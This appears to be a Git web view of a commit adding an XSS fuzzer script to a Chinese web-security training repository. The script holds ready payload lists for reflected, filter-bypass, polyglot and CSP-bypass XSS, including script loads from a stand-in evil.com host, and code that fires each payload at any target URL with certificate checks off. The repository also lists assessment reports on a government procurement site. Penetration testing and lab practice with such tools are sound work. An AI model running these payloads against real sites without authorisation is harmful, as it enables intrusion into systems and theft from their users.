初始化: Web安全攻防知识库
- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs - SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go - XSS工具: xss-fuzzer.py, xss-scanner.go - 认证攻击: web-brute.py, jwt-cracker.py - 服务端安全: port-scanner.py, tls-scanner.py - 防御配置: nginx-hardening.conf - 案例研究: 福建政采网安全评估报告 (13份) - 同步脚本: sync-gitea.sh
这个提交包含在:
409
02-xss/tools/xss-fuzzer.py
普通文件
409
02-xss/tools/xss-fuzzer.py
普通文件
@@ -0,0 +1,409 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
XSS Fuzzer - XSS Payload 模糊测试工具
|
||||
|
||||
支持:
|
||||
- 反射型 XSS 检测
|
||||
- 存储型 XSS 检测
|
||||
- DOM 型 XSS 检测
|
||||
- CSP 绕过测试
|
||||
- 自定义 Payload
|
||||
|
||||
Usage:
|
||||
python3 xss-fuzzer.py -u "http://target.com/search?q=test"
|
||||
python3 xss-fuzzer.py -u "http://target.com/comment" -d "comment=test" -m POST
|
||||
python3 xss-fuzzer.py -u "http://target.com" --dom-scan
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import requests
|
||||
import re
|
||||
import urllib.parse
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
import time
|
||||
|
||||
|
||||
class Colors:
|
||||
RED = "\033[91m"
|
||||
GREEN = "\033[92m"
|
||||
YELLOW = "\033[93m"
|
||||
BLUE = "\033[94m"
|
||||
CYAN = "\033[96m"
|
||||
END = "\033[0m"
|
||||
BOLD = "\033[1m"
|
||||
|
||||
|
||||
class XSSFuzzer:
|
||||
def __init__(self, timeout: int = 10):
|
||||
self.timeout = timeout
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(
|
||||
{
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
}
|
||||
)
|
||||
|
||||
self.payloads = {
|
||||
"basic": [
|
||||
"<script>alert('XSS')</script>",
|
||||
"<script>alert(1)</script>",
|
||||
"<script>alert(document.domain)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<img src=x onerror=alert('XSS')>",
|
||||
"<svg onload=alert(1)>",
|
||||
"<svg/onload=alert(1)>",
|
||||
"<body onload=alert(1)>",
|
||||
"<iframe src='javascript:alert(1)'>",
|
||||
"'\"><script>alert(1)</script>",
|
||||
],
|
||||
"event_handlers": [
|
||||
'"onfocus=alert(1) autofocus=',
|
||||
"'onfocus=alert(1) autofocus='",
|
||||
'"onmouseover=alert(1)//',
|
||||
"'onmouseover=alert(1)//",
|
||||
'"onclick=alert(1)//',
|
||||
"'onclick=alert(1)//",
|
||||
'"onerror=alert(1)//',
|
||||
'"onload=alert(1)//',
|
||||
'"oninput=alert(1)//',
|
||||
'"onchange=alert(1)//',
|
||||
],
|
||||
"tag_injection": [
|
||||
"<img src=x onerror=alert(1)//",
|
||||
"<svg/onload=alert(1)//",
|
||||
"<body/onload=alert(1)//",
|
||||
"<video src=x onerror=alert(1)>",
|
||||
"<audio src=x onerror=alert(1)>",
|
||||
"<input onfocus=alert(1) autofocus>",
|
||||
"<marquee onstart=alert(1)>",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"<embed src=javascript:alert(1)>",
|
||||
"<object data=javascript:alert(1)>",
|
||||
],
|
||||
"encoding": [
|
||||
"%3Cscript%3Ealert(1)%3C/script%3E",
|
||||
"<script>alert(1)</script>",
|
||||
"<script>alert(1)</script>",
|
||||
"\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
|
||||
"\\u003cscript\\u003ealert(1)\\u003c/script\\u003e",
|
||||
],
|
||||
"csp_bypass": [
|
||||
"<script/src='https://evil.com/xss.js'></script>",
|
||||
"<link rel=import href='https://evil.com/xss.html'>",
|
||||
"<object/data='javascript:alert(1)'>",
|
||||
"<embed/src='javascript:alert(1)'>",
|
||||
"<form><button formaction=javascript:alert(1)>Click",
|
||||
],
|
||||
"filter_bypass": [
|
||||
"<ScRiPt>alert(1)</ScRiPt>",
|
||||
"<SCRIPT>alert(1)</SCRIPT>",
|
||||
"<script >alert(1)</script >",
|
||||
"<script\n>alert(1)</script\n>",
|
||||
"<script\t>alert(1)</script\t>",
|
||||
"<script\x00>alert(1)</script>",
|
||||
"<scr<script>ipt>alert(1)</scr</script>ipt>",
|
||||
"<<script>script>alert(1)//<</script>/script>",
|
||||
],
|
||||
"polyglot": [
|
||||
"jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//",
|
||||
'\'">><marquee><img src=x onerror=alert(1)></marquee>"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)>',
|
||||
"<svg/onload=alert(1)>'-alert(1)-'",
|
||||
'"><script>alert(1)</script><img src=x onerror=alert(1)>',
|
||||
"javascript:alert(1)//';alert(String.fromCharCode(88,83,83))//",
|
||||
],
|
||||
}
|
||||
|
||||
self.dom_sinks = [
|
||||
"document.write",
|
||||
"document.writeln",
|
||||
"document.domain",
|
||||
"element.innerHTML",
|
||||
"element.outerHTML",
|
||||
"eval",
|
||||
"setTimeout",
|
||||
"setInterval",
|
||||
"Function",
|
||||
"location",
|
||||
"location.href",
|
||||
"location.replace",
|
||||
"location.assign",
|
||||
"window.open",
|
||||
"document.cookie",
|
||||
]
|
||||
|
||||
def print_result(self, level: str, msg: str):
|
||||
colors = {
|
||||
"INFO": Colors.BLUE,
|
||||
"SUCCESS": Colors.GREEN,
|
||||
"WARNING": Colors.YELLOW,
|
||||
"ERROR": Colors.RED,
|
||||
"VULN": Colors.RED + Colors.BOLD,
|
||||
}
|
||||
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
|
||||
|
||||
def test_reflected(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str = "GET",
|
||||
data: Dict = None,
|
||||
cookies: Dict = None,
|
||||
) -> List[Dict]:
|
||||
"""测试反射型 XSS"""
|
||||
results = []
|
||||
|
||||
for category, payloads in self.payloads.items():
|
||||
self.print_result("INFO", f"测试 Payload 类别: {category}")
|
||||
|
||||
for payload in payloads:
|
||||
test_data = data.copy() if data else {}
|
||||
test_data[param] = payload
|
||||
|
||||
try:
|
||||
if method.upper() == "GET":
|
||||
params = urllib.parse.urlencode(test_data)
|
||||
full_url = f"{url}?{params}"
|
||||
resp = self.session.get(
|
||||
full_url,
|
||||
cookies=cookies,
|
||||
timeout=self.timeout,
|
||||
verify=False,
|
||||
)
|
||||
else:
|
||||
resp = self.session.post(
|
||||
url,
|
||||
data=test_data,
|
||||
cookies=cookies,
|
||||
timeout=self.timeout,
|
||||
verify=False,
|
||||
)
|
||||
|
||||
if payload in resp.text:
|
||||
result = {
|
||||
"type": "Reflected XSS",
|
||||
"category": category,
|
||||
"param": param,
|
||||
"payload": payload,
|
||||
"evidence": f"Payload 在响应中找到",
|
||||
"url": full_url if method == "GET" else url,
|
||||
}
|
||||
results.append(result)
|
||||
self.print_result(
|
||||
"VULN", f"[{category}] {param} - {payload[:50]}..."
|
||||
)
|
||||
|
||||
time.sleep(0.1)
|
||||
|
||||
except Exception as e:
|
||||
continue
|
||||
|
||||
return results
|
||||
|
||||
def test_context(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str = "GET",
|
||||
data: Dict = None,
|
||||
cookies: Dict = None,
|
||||
) -> Dict:
|
||||
"""分析注入上下文"""
|
||||
test_payloads = [
|
||||
("'", "Single Quote"),
|
||||
('"', "Double Quote"),
|
||||
("<", "Less Than"),
|
||||
(">", "Greater Than"),
|
||||
("&", "Ampersand"),
|
||||
("${", "Template Literal"),
|
||||
("{{", "Template Expression"),
|
||||
]
|
||||
|
||||
contexts = {}
|
||||
|
||||
for payload, desc in test_payloads:
|
||||
test_data = data.copy() if data else {}
|
||||
test_data[param] = payload
|
||||
|
||||
try:
|
||||
if method.upper() == "GET":
|
||||
params = urllib.parse.urlencode(test_data)
|
||||
full_url = f"{url}?{params}"
|
||||
resp = self.session.get(
|
||||
full_url, cookies=cookies, timeout=self.timeout, verify=False
|
||||
)
|
||||
else:
|
||||
resp = self.session.post(
|
||||
url,
|
||||
data=test_data,
|
||||
cookies=cookies,
|
||||
timeout=self.timeout,
|
||||
verify=False,
|
||||
)
|
||||
|
||||
if payload in resp.text:
|
||||
contexts[desc] = "未过滤"
|
||||
else:
|
||||
contexts[desc] = "已过滤"
|
||||
|
||||
except Exception:
|
||||
contexts[desc] = "请求失败"
|
||||
|
||||
return contexts
|
||||
|
||||
def scan_dom_xss(self, url: str, cookies: Dict = None) -> List[Dict]:
|
||||
"""扫描 DOM XSS 漏洞"""
|
||||
results = []
|
||||
|
||||
try:
|
||||
resp = self.session.get(
|
||||
url, cookies=cookies, timeout=self.timeout, verify=False
|
||||
)
|
||||
html = resp.text
|
||||
|
||||
patterns = [
|
||||
(r"document\.write\s*\([^)]*location", "document.write with location"),
|
||||
(
|
||||
r"document\.write\s*\([^)]*location\.hash",
|
||||
"document.write with location.hash",
|
||||
),
|
||||
(r"element\.innerHTML\s*=\s*[^;]*location", "innerHTML with location"),
|
||||
(r"eval\s*\([^)]*location", "eval with location"),
|
||||
(r"setTimeout\s*\([^)]*location", "setTimeout with location"),
|
||||
(r"\$\{[^}]*location", "Template literal with location"),
|
||||
(r"window\.location\.hash", "location.hash usage"),
|
||||
(r"document\.URL", "document.URL usage"),
|
||||
(r"document\.documentURI", "document.documentURI usage"),
|
||||
(r"document\.baseURI", "document.baseURI usage"),
|
||||
]
|
||||
|
||||
for pattern, desc in patterns:
|
||||
if re.search(pattern, html, re.IGNORECASE):
|
||||
results.append(
|
||||
{
|
||||
"type": "Potential DOM XSS",
|
||||
"pattern": pattern,
|
||||
"description": desc,
|
||||
}
|
||||
)
|
||||
self.print_result("WARNING", f"发现潜在 DOM XSS: {desc}")
|
||||
|
||||
except Exception as e:
|
||||
self.print_result("ERROR", f"扫描失败: {e}")
|
||||
|
||||
return results
|
||||
|
||||
def check_csp(self, url: str, cookies: Dict = None) -> Dict:
|
||||
"""检查 CSP 策略"""
|
||||
result = {"has_csp": False, "csp_header": None, "weaknesses": []}
|
||||
|
||||
try:
|
||||
resp = self.session.get(
|
||||
url, cookies=cookies, timeout=self.timeout, verify=False
|
||||
)
|
||||
|
||||
csp = resp.headers.get("Content-Security-Policy")
|
||||
if csp:
|
||||
result["has_csp"] = True
|
||||
result["csp_header"] = csp
|
||||
|
||||
if "unsafe-inline" in csp:
|
||||
result["weaknesses"].append("允许内联脚本 (unsafe-inline)")
|
||||
if "unsafe-eval" in csp:
|
||||
result["weaknesses"].append("允许 eval (unsafe-eval)")
|
||||
if "*" in csp:
|
||||
result["weaknesses"].append("使用通配符 (*)")
|
||||
if "data:" in csp:
|
||||
result["weaknesses"].append("允许 data: 协议")
|
||||
if "http:" in csp:
|
||||
result["weaknesses"].append("允许不安全 HTTP")
|
||||
else:
|
||||
result["weaknesses"].append("未配置 CSP")
|
||||
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="XSS Fuzzer")
|
||||
parser.add_argument("-u", "--url", required=True, help="目标URL")
|
||||
parser.add_argument("-p", "--param", default="q", help="测试参数")
|
||||
parser.add_argument(
|
||||
"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
|
||||
)
|
||||
parser.add_argument("-d", "--data", help="POST数据")
|
||||
parser.add_argument("-c", "--cookie", help="Cookie")
|
||||
parser.add_argument("--dom-scan", action="store_true", help="扫描DOM XSS")
|
||||
parser.add_argument("--check-csp", action="store_true", help="检查CSP策略")
|
||||
parser.add_argument(
|
||||
"--all-categories", action="store_true", help="测试所有Payload类别"
|
||||
)
|
||||
parser.add_argument("--timeout", type=int, default=10, help="超时时间")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
fuzzer = XSSFuzzer(timeout=args.timeout)
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
print(f"{Colors.BOLD}XSS Fuzzer{Colors.END}")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
data = {}
|
||||
if args.data:
|
||||
for pair in args.data.split("&"):
|
||||
if "=" in pair:
|
||||
k, v = pair.split("=", 1)
|
||||
data[k] = v
|
||||
|
||||
cookies = {}
|
||||
if args.cookie:
|
||||
for pair in args.cookie.split(";"):
|
||||
if "=" in pair:
|
||||
k, v = pair.strip().split("=", 1)
|
||||
cookies[k] = v
|
||||
|
||||
if args.check_csp:
|
||||
fuzzer.print_result("INFO", "检查 CSP 策略...")
|
||||
csp_result = fuzzer.check_csp(args.url, cookies)
|
||||
if csp_result["has_csp"]:
|
||||
fuzzer.print_result(
|
||||
"SUCCESS", f"CSP 已配置: {csp_result['csp_header'][:100]}..."
|
||||
)
|
||||
for w in csp_result["weaknesses"]:
|
||||
fuzzer.print_result("WARNING", f" - {w}")
|
||||
else:
|
||||
fuzzer.print_result("WARNING", "未配置 CSP!")
|
||||
for w in csp_result["weaknesses"]:
|
||||
fuzzer.print_result("WARNING", f" - {w}")
|
||||
|
||||
if args.dom_scan:
|
||||
fuzzer.print_result("INFO", "扫描 DOM XSS...")
|
||||
dom_results = fuzzer.scan_dom_xss(args.url, cookies)
|
||||
for r in dom_results:
|
||||
fuzzer.print_result("WARNING", f" - {r['description']}")
|
||||
|
||||
fuzzer.print_result("INFO", f"测试参数: {args.param}")
|
||||
|
||||
context = fuzzer.test_context(args.url, args.param, args.method, data, cookies)
|
||||
fuzzer.print_result("INFO", "上下文分析:")
|
||||
for ctx, status in context.items():
|
||||
color = Colors.YELLOW if status == "未过滤" else Colors.GREEN
|
||||
print(f" {color}{ctx}: {status}{Colors.END}")
|
||||
|
||||
results = fuzzer.test_reflected(args.url, args.param, args.method, data, cookies)
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
if results:
|
||||
fuzzer.print_result("SUCCESS", f"发现 {len(results)} 个 XSS 漏洞!")
|
||||
for r in results:
|
||||
print(f" - [{r['category']}] {r['param']}: {r['payload'][:60]}...")
|
||||
else:
|
||||
fuzzer.print_result("INFO", "未发现反射型 XSS 漏洞")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
在新工单中引用
屏蔽一个用户